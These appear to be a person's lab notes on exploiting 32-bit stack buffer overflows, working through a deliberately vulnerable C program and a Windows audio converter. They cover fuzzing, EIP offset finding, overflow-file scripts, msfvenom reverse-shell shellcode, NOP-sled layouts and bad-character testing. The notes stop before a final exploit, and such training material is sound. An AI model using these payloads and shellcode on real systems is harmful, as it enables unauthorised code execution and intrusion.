LINUX
SOURCE
root@sre:~$ nano overwritingEIP.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int bowfunc(char *string) {
char buffer[1024];
strcpy(buffer, string);
return 1;
}
int main(int argc, char *argv[])
{
bowfunc(argv[1]);
printf("Done.\n");
return 1;
}
root@sre:~$ sudo apt install gcc-multilib
root@sre:~$ gcc -m32 overwritingEIP.c -o overwritingEIP -fno-stack-protector -z execstack
STEP 1: ISR & BINARY COLLECTION
After performing target enumeration, the focus shifts to identifying whether the system is running outdated, misconfigured, or vulnerable software. Unlike relying solely on public exploits, this phase emphasizes gathering binaries or scripts directly from the target system for detailed offline analysis. Enumerating running processes and installed software is critical, as it helps uncover potential vulnerabilities that may not yet be publicly documented or require tailored exploitation. Tools such as ps aux, top, or htopon Linux, and tasklistor PowerShell cmdlets on Windows, can be used to list active processes and software versions. If source code is unavailable, reverse engineering the binary using tools like Ghidraor IDA Probecomes essential to understand its functionality and identify exploitable weaknesses. This step lays the groundwork for crafting a custom exploittailored to the specific target, rather than relying on generic public exploits.
CUSTOM EXPLOITS
//
root@target:~$ dpkg -l # Debian/Ubuntu
root@target:~$ rpm -qa # RHEL/CentOS/Fedora
//
PS C:\> Get-WmiObject -Class Win32_Product
//
root@target:~$ base64 /path/to/binary > binary.b64
root@oco:~$ base64 -d binary.b64 > recovered_binary
root@oco:~$ chmod +x recovered_binary
PUBLIC EXPLOITS
With public exploits, the focus is on determining whether the target system is running software with known vulnerabilities, typically identified by their CVE (Common Vulnerabilities and Exposures) identifiers. Public exploit databases, such as Exploit-DB, Metasploit, or GitHub repositories, serve as valuable resources for locating pre-existing exploit code tailored to these vulnerabilities. However, public exploits often contain intentional errors or incomplete code as a security measure to prevent inexperienced users from directly executing them. This helps mitigate harm to individuals and organizations that may be affected by the vulnerability. To modify and adapt these public exploits, it is crucial to understand how the vulnerability works, identify the specific function or code segment where the vulnerability resides, and determine how to trigger its execution effectively. While public exploits save time and effort, they may require careful analysis and adjustments to adapt to the specific target environment, such as modifying payloads or bypassing basic security mechanisms. This method is particularly effective for quickly exploiting common vulnerabilities while ensuring responsible use.
//
STEP 2: IDENTIFY POTENTIALLY VULNERABLE FUNCTIONS OR UNSAFE CODING PRACTICES IN THE SOURCE
This is required to prevent blind testing with the objective of identifying unsafe functions or poor coding practices. When source code is available, review it directly for insecure functions (e.g., strcpy
, gets
, scanf
without bounds). In the absence of source code, perform static analysis using tools such as Ghidra, IDA Pro, Binary Ninja, objdump -d
, or radare2 to locate vulnerable functions, buffer handling routines, and unsafe coding patterns.
//
STEP 3: IDENTIFY THE PROGRAM ARCHITECTURE
This is essential as 32-bit and 64-bit offsets differ, and calling conventions/NX/ASLR behavior vary.
In 32-bit binaries saved return address is 4 bytes (EIP). The pattern/gdb approach maps 4-byte chunks directly.
In 64-bit binaries saved return address is 8 bytes (RIP). Tools must be aware of 8-byte alignment and you’ll typically use an 8-byte pattern or the same 4-byte pattern but interpret the registers appropriately. Also stack alignment, calling conventions, and NX/ASLR are stricter on x86_64 so you usually need ROP rather than raw shellcode injection.
root@sre:~$ file overwritingEIP | tr "," "\n"
bow: ELF 32-bit LSB shared object
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 3.2.0
BuildID[sha1]=93dda6b77131deecaadf9d207fdd2e70f47e1071
not stripped
STEP 4: TEMPORARILY DISABLE ASLR & SET DISPLAY SYNTAX
This ensures that memory addresses remain consistent across runs, providing a deterministic debugging environment and to accurately study the program's behavior.
root@sre:~$ sudo su
root@sre:~$ echo 0 > /proc/sys/kernel/randomize_va_space
root@sre:~$ cat /proc/sys/kernel/randomize_va_space
0
root@sre:~$ set disassembly-flavor intel
STEP 5: FUZZING
Fuzzing is often the first step in binary vulnerability discovery. The goal is to supply malformed or unexpected inputs to the program’s parameters, arguments, or input channels (files, network packets, command-line arguments, environment variables, etc.) until the program crashes or behaves abnormally. A successful fuzzing campaign can reveal memory corruption, crashes, or hangs. These anomalies indicate potential vulnerabilities. If the crash occurs in a way that affects program control flow (for example, by overwriting the EIP register in 32-bit binaries), this strongly suggests the presence of a stack-based buffer overflow that may be exploitable.
COMON INPUT FIELDS FOR FUZZING

Prioritize input parameters that nominally accept short values (for example, date fields, country codes, single‑digit flags, or license/registration numbers) because developers often allocate small fixed buffers or implement brittle parsers for them. Also target fields that are passed into specific processing routines (e.g., license validation functions) or that are used after being opened (configuration files, playlist entries) as these are more likely to exercise parsing code and third‑party libraries where flaws reside. Because any program may expose many such parameters, focus first on those with the highest likelihood of overflow or parsing failures and fuzz them with oversized payloads, boundary numeric values, malformed formats, and non‑printable/binary data. Don’t forget to include larger free‑text fields, file uploads, and known risky file types (for example, certain audio or playlist formats - .wav or m3u files) in your scope since vulnerabilities often emerge in the libraries that handle those formats
LICENSE VALIDATION FIELDS
root@sre:~$ python -c "print('A'*10000)"
AAAAA...SNIP....AAAA
//Test program: Free CD to MP3 Converter - Registration Field
Program GUI:
Registration Code: AAAAA...SNIP....AAAA
* always fuzz other fields that accept a text input using the same above payload to
see which field will cause the program to crash
OPENED FILES
//Test program: Free CD to MP3 Converter - WAV File import
root@sre:~$ python -c "print('A'*10000, file=open('fuzz.wav', 'w'))" //1st generate payload
...
Program GUI:
File > Encode > Select 'fuzz.wave'
First chance exception on 41414141...
* Once we open the file, we see that the program crashes, and the debugger pauses with
a message saying First chance exception on 41414141
- This message indicates that the program tried to execute the address 41414141. In
ASCII, the upper case A has hex code 0x41, so it looks like the program tried to
go to address AAAA, which means that we have successfully changed the EIP address.
X64DBG > check the register window on the top-right
EBP 41414141
ESP 0014F974 "AAAAA...."
EIP 41414141
* both EBP and EIP are overwritten. the program also tried to execute the
overwritten EIP address
X64DBG > check stack at the bottom-right window
0014F974 |[41414141|
0014F978 |[41414141|
...
0014F99C |[41414141| Pointer to SEH_Record[1]
...
* This shows that we are controlling the EIP, so we may exploit this vulnerability to
execute the shellcode we write to memory.
* The program may get paused at some points of the debugging due to breakpoints or
INT3 instructions. Simply click on the Run button located at the top bar to
continue the execution
//performed on x64dbg
* To skip breaking on the built in breakpoints, select Options > Preferences > Events,
and un-tick everything under Break on. This should stop the program from breaking
every time we run it, and will only break when we crash it on an overflow.
STEP 6: IDENTIFY EIP OFFSET
In a stack-based buffer overflow, the first objective is to determine the exact offset to EIP, which is the number of bytes required to overwrite the saved return address on the stack. This return address is automatically loaded into the EIP register when a function returns, so by overwriting it, an attacker can redirect the program’s execution flow. EIP itself is not directly writable, but it can be controlled indirectly by overflowing a buffer and reaching the location of the saved return address. To find this offset, a unique non-repeating input pattern is typically used to cause a controlled crash, and the value that ends up in EIP is analyzed to calculate how far into the input the overwrite occurred. Identifying this offset is critical in crafting a reliable exploit, as it allows precise placement of the address or instruction that will be executed when control is transferred.
CREATING UNIQUE NON-REPEATING PATTERNS:
METHOD 1: METASPLOIT
//this method will provide the exact offset of EIP
root@sre:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1200 > pattern.txt
root@sre:~$ cat pattern.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9
* ALT:
- /usr/bin/msf-pattern_create -l 5000
Aa0Aa1Aa2...SNIP...3Gk4Gk5Gk
METHOD 2: ERC.XDBG PLUGIN
x64DBG > Log Tab
Command: ERC --help
--Pattern
Generates a non repeating pattern. A pattern of pure ASCII characters can be generated up to 20277 and up to
66923 if special characters are used. The offset of a particular string can be found inside the pattern by
providing a search string (must be at least 3 chars long).
Pattern create: ERC --pattern <create | c> <length>
Pattern offset: ERC --pattern <offset | o> <search string>
x64DBG > Log Tab
Command: ERC --pattern c 5000
...
* the new pattern files will be stored whereever ERC working directory is set
- e.g., ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\
- this is the same pattern created by metasploit
PS C:\> Get-ChildItem
Pattern_Create_1.txt
CREATE EXPLOIT
//create payload
PS C:\> .\notepad.exe
//Windows doesn’t need (and normally ignores) the Unix-style shebang.
//however, the launcher will respect this
#! python3
def eipOffset():
//use the ASCII output & NOT the HEX output
payload = bytes("Aa0Aa1Aa2Aa3Aa4Aa5Aa6...Gi3Gi4Gi5Gi6Gi7...", "utf-8")
"""this writes the payload to a file"""
with open('pattern.wav', 'wb') as fileHandler:
fileHandler.write(payload)
def main() -> None:
"""Program execution entry point"""
eipOffset()
if __name__ == "__main__":
main()
NOTEPAD > File
Save As: win32bof_exploit.py
Save As Type: All files
PS C:\> .\win32bof_exploit.py
* this will create the wav file which will be used to fuzz the program
PS C:\> ls
pattern.wav
FUZZ APPLICATION
METHOD 1: VIA FIELDS
root@sre:~$ gdb -q ./overwritingEIP
Reading symbols from ./overwritingEIP...
(No debugging symbols found in ./overwritingEIP)
(gdb) run $(python -c "print('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9')")
Starting program: /home/sre/overwritingEIP $(python -c "print('Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9')")
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x69423569 in ?? ()
(gdb) info registers eip
eip 0x69423569 0x69423569
//calculate the exact number of characters (offset) needed to advance to the EIP.
root@sre:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x69423569
[*] Exact match at offset 1036
* This means that 1036 bytes of input fill the buffer up to the location just below
the saved EIP, with the saved EBP occupying the 4 bytes in between. In a 32-bit
program, the next 4 bytes after EBP correspond to the saved return address (EIP),
which is where a payload can be placed to control program execution. Therefore, a
total of 1040 bytes of input is needed to fully overwrite EIP and position any
desired payload precisely at that location. This step is critical for reliably
controlling program flow in a stack-based buffer overflow.
- 1040 is the total “space” you have in the stack buffer before you overwrite EIP.
//verify
root@sre:~$ python3 -c "import sys; sys.stdout.buffer.write(b'\x55'*1036 + b'\x66'*4)" > payload.bin
root@sre:~$ ls -l payload.bin
-rw-r--r-- 1 sre sre 1040 Sep 12 20:14 payload.bin
* Should reflect 1040 bytes
* ALT:
//this alternative may not work - use main method above
- (gdb) run $(python -c "print('\x55' * 1036 + '\x66') * 4")
(gdb) run $(cat payload.bin)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/htb-ac-53539/overwritingEIP $(cat payload.bin)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()
* For 32-bit programs, saved return address is 4 bytes, so once the offset is known:
- adding 4 more bytes is typically used for verification to fully overwrite EIP .
with any desired value.
- This ensures your payload lands exactly where it is required on the stack.
METHOD 2: VIA OPENED FILES
x64DBG > File > Attach
programName
//identify EIP offset
programName > File > wav to mp3
filename: payload.wav
* click on the restart button in x32dbg to restart our program if the previous
input had crashed it
x64DBG > cpuTab
EAX 00000000
EBX 68463967
ECX 00001388
EDX 00001388
EBP 67463567
ESP 0014F974 "Fh2Fh3Fh4Fh5Fh6Fh7..."
ESI 46386746
EDI 37674636
EIP 31684630
* the EIP register got overwritten with part of the unique pattern

CALCULATE OFFSET
METHOD 1: METASPLOIT
//use the value of EIP to calculate the offset
root@sre:~$ /usr/bin/msf-pattern_offset -q 31684630
[*] Exact match at offset 4112
METHOD 2: ERC.XDBG
x64DBG > LogTab
right-click on EIP > Modify Value or Enter
* you should see various representations of the EIP value, with ASCII being the
last one
- The hex value found in EIP represents the string 1hF0
x64DBG > LogTab
command: ERC --pattern o 1hF0
ERC --Pattern
-------------------------------------------------
Value found reversed at position 4112 in pattern.
-------------------------------------------------
CONTROL EIP
//control eip
root@dev:~$ nano win32bof_exploit.py
#!/usr/bin/env python3
def eip_control():
//create an offset variable with the identified offset
offset = 4112
//create a buffer variable with a string of A bytes as long as our offset to
//fill the buffer space,
buffer = b"A"*offset
//eip variable with the value we want EIP to be, which we will use as 4 bytes of B
eip = b"B"*4
//add both to a payload variable and write it to control.wav
payload = buffer + eip
with open('control.wav', 'wb') as fileHandler:
fileHandler.write(payload)
def main() -> None:
"""Program execution entry point"""
eip_control()
if __name__ == "__main__":
main()
""" knowing exactly how far EIP is from the start of the buffer (e.g., 4112 bytes),
the next 4 bytes would be the one that fills EIP in a 32-bit system
* on a 64-bit system it must be a multiple of 8 bytes """
x64DBG > File > restart
EAX 00000000
EBX 41414141
ECX 00001014
EDX 00001014
EBP 41414141
ESP 0014F974 &"'`EA'"
ESI 41414141
EDI 41414141
EIP 42424242
* When our program crashes, we see the hex value 42424242, which is the ASCII
representation of BBBB
- this verifies the exact value (42424242) that goes into EIP
- the B's can now be swapped with a more meaningful exploit

STEP 7: IDENTIFY USABLE BUFFER SPACE/PAYLOAD PLANNING
The goal of this step is to determine how much of the stack buffer can safely hold the payload. Even if the vulnerable buffer has a fixed size (e.g., 1024 bytes), factors such as stack layout, alignment, and surrounding function behavior can reduce usable space before causing crashes or corruption. Knowing the exact distance between the start of the buffer and the saved return address (EIP) is essential for designing payloads, especially when inserting shellcode that must fit within limited memory. Writing too much data can overwrite critical values, while too little may result in a failed exploit. Accurately calculating usable buffer space is critical for creating reliable and stable exploits.
CALCULATE SHELLCODE SIZE
root@sre:~$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 lport=31337 --platform linux --arch x86 --format c
No encoder specified, outputting raw payload
Payload size: 68 bytes
Final size of c file: 311 bytes
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x7f\x00\x00"
"\x01\x68\x02\x00\x7a\x69\x89\xe1\xb0\x66\x50\x51\x53\xb3"
"\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
* this particular payload size is about 68 bytes.
- it's common practice to reserve extra space for future adjustments and alignment
to accomodate for adding encoders or other modification so the shellcode can grow
and to have the payload sit nicely on the stack for reliable execution
ADJUSTMENT/ALIGNMENT VALUES
NOPS SLED (\x90): 100 bytes
SHELLCODE: 68 bytes
PADDING/ALIGNMENT: 82 bytes
ACTUAL EIP: 4 bytes
TOTAL EIP OFFSER: 1040 bytes
* EIP OFFSET is the buffer to saved return address
- Distance from buffer start to saved return address (1036 bytes ESP→EBP + 4 bytes EIP)
* NOP SLED (\x90) is padding before shellcode to ensure safe execution
- 100 bytes of no operation instruction (NOPS) is often inserted before the
shellcode so that it can be executed cleanly.
* SHELLCODE of 68 bytes is the actual payload size
* PADDING ALIGNMENT is the extra space reserved for future adjustments
- 82 bytes is used for future adjustment & alignment
* total is the overall distance to EIP
- 1040 bytes to reach EIP in this specific 32-bit program

STEP 8: VERIFY PAYLOAD SPACE & OFFSET
This step tests and validates the buffer layout to ensure the shellcode can fit safely and that the calculated offsets align correctly with the saved return address (EIP). Instead of the actual shellcode, a test pattern is injected to confirm that the offsets, NOP sled, and shellcode placement are correct. This approach helps verify that there is sufficient usable buffer space and that the shellcode will execute reliably when inserted.
FORMULA
FILL = OFFSET - NOP - SHELL - EIP
FILL = 1040 - 100 - 150 - 4 = 786
PAYLOAD LAYOUT: \x55" * FILL + "\x90" * NOP + "\x44" * SHELL + "\x66" * EIP
FINAL PAYLOAD: run $(python -c 'print("\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')
* ALT:
- run $(python -c 'print("\x55" * 786 + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')
* OFFSET — bytes from buffer start to saved return address (EIP). (In your case: 1040)
NOP — size of your NOP sled (e.g., 100)
SHELL — size reserved for shellcode (placeholder length, e.g., 150)
EIP — size of return address overwrite (typically 4 for 32-bit)
FILL — filler bytes (\x55) to reach the start of the NOP sled
root@sre:~$ gdb -q ./overwritingEIP
(gdb) run $(python -c 'print("\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/student/bow/bow32 $(python -c 'print("\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4)')
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()

STEP 9: IDENTIFY BAD CHARACTERS
Bad characters can vary between programs and contexts because each program, library, protocol, or transport layer treats certain bytes specially. Some bytes terminate strings (for example, \x00
in C), others mark line endings (\x0A
and \x0D
), some are parsed as control or meta characters by shells, HTTP servers, or terminals, and intermediary systems such as proxies, CDNs, or libraries may normalize, filter, or reinterpret bytes through UTF-16 or Unicode handling, percent-encoding, or protocol framing. The exact input channel (argv, stdin, socket, or file), the APIs the target uses, any middleware, and protocol rules all influence which bytes are removed, transformed, or misinterpreted. Therefore always test for bad characters against the specific target and channel.

GENERATE CHARACTER LIST
root@sre:~$ CHARS="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
//calculate the number of chars variable
root@sre:~$ echo $CHARS | sed 's/\\x/ /g' | wc -w
256
* the string is 256 bytes long.
- the buffer MUST be recalculated to accomodate this
RECALCULATE BUFFER
Buffer = "\x55" * (1040 - 256 - 4) = 780
CHARS = "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfd\xfe\xff"
EIP = "\x66" * 4
PAYLOAD LAYOUT: payload = filler_byte * FILL + CHARS + eip_byte * EIP_SIZE
FINAL PAYLOAD: run $(python -c 'print "\x55" * (1040 - 256 - 4) + "\x00\x01\x02\x03\x04\x05...<SNIP>...\xfc\xfd\xfe\xff" + "\x66" * 4')
PERFORM DEBUGGING & ANALYSIS
root@sre:~$ gdb -q ./filename
...
(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000054d bowfunc
0x00000582 main
...
(gdb) disas main
Dump of assembler code for function main:
0x56555582 <+0>: lea ecx,[esp+0x4]
0x56555586 <+4>: and esp,0xfffffff0
0x56555589 <+7>: push DWORD PTR [ecx-0x4]
0x5655558c <+10>: push ebp
0x5655558d <+11>: mov ebp,esp
0x5655558f <+13>: push ebx
0x56555590 <+14>: push ecx
0x56555591 <+15>: call 0x56555450 <__x86.get_pc_thunk.bx>
0x56555596 <+20>: add ebx,0x1a3e
0x5655559c <+26>: mov eax,ecx
0x5655559e <+28>: mov eax,DWORD PTR [eax+0x4]
0x565555a1 <+31>: add eax,0x4
0x565555a4 <+34>: mov eax,DWORD PTR [eax]
0x565555a6 <+36>: sub esp,0xc
0x565555a9 <+39>: push eax
0x565555aa <+40>: call 0x5655554d <bowfunc> # <---- bowfunc Function
0x565555af <+45>: add esp,0x10
0x565555b2 <+48>: sub esp,0xc
0x565555b5 <+51>: lea eax,[ebx-0x1974]
0x565555bb <+57>: push eax
0x565555bc <+58>: call 0x565553e0 <puts@plt>
0x565555c1 <+63>: add esp,0x10
0x565555c4 <+66>: mov eax,0x1
0x565555c9 <+71>: lea esp,[ebp-0x8]
0x565555cc <+74>: pop ecx
0x565555cd <+75>: pop ebx
0x565555ce <+76>: pop ebp
0x565555cf <+77>: lea esp,[ecx-0x4]
0x565555d2 <+80>: ret
End of assembler dump.
(gdb) info functions
All defined functions:
Non-debugging symbols:
...
0x0000054d bowfunc
0x00000582 main
...
(gdb) break *bowfunc
Breakpoint 1 at 0x54d
//insert payload with bad characters into the buffer
